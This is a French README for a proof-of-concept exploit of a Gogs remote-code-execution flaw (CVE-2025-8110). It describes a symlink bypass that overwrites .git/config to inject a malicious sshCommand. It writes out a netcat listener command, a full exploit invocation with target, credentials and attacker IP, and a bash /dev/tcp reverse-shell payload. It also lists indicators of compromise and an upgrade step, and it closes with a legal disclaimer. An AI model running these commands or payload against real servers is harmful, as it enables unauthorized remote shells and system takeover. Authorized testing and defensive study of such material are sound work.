Exploit RCE Gogs (CVE-2025-8110)

Preuve de concept pour CVE-2025-8110 - Exécution de code à distance dans Gogs via un contournement de lien symbolique et une injection de sshCommand.

Description

Cet exploit exploite un contournement de lien symbolique dans l'API Gogs pour écraser .git/config et injecter une sshCommand malveillante qui exécute un shell inversé.

Prérequis

• Python 3.12+
• Git installé
• Identifiants Gogs valides
• Jeton API Gogs

Installation

git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Utilisation

Étape 1 : Obtenir un jeton API

Connectez-vous à Gogs → Paramètres → Applications → Générer un jeton

Étape 2 : Démarrer l'écouteur

nc -lvnp 4444

Étape 3 : Exécuter l'exploit

python3 exploit.py -u http://target:3000 -U <USERNAME GOGS> -P <PASSWORD GOGS> -t <TOKEN> -lh <ATTACKER IP> -lp <ATTACKER PORT>

Exemple

python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444

Fonctionnement

• Crée un dépôt avec un lien symbolique vers .git/config
• Utilise l'API PutContents pour écrire dans le lien symbolique
• Injecte sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
• Gogs exécute la commande → shell inversé

Dépannage

Indicateurs de compromission

• Noms de dépôts aléatoires de 8 caractères
• Lien symbolique malicious_link dans les dépôts
• sshCommand dans .git/config

Remédiation

Mettez à jour vers Gogs v0.13.4 ou ultérieur :

wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz

Avertissement légal

Cet outil est destiné à des fins éducatives et de tests autorisés uniquement. Tout accès non autorisé est illégal.

Crédits

• Découverte : Wiz Research
• PoC original : zAbuQasem
• Exploit : X4BROZER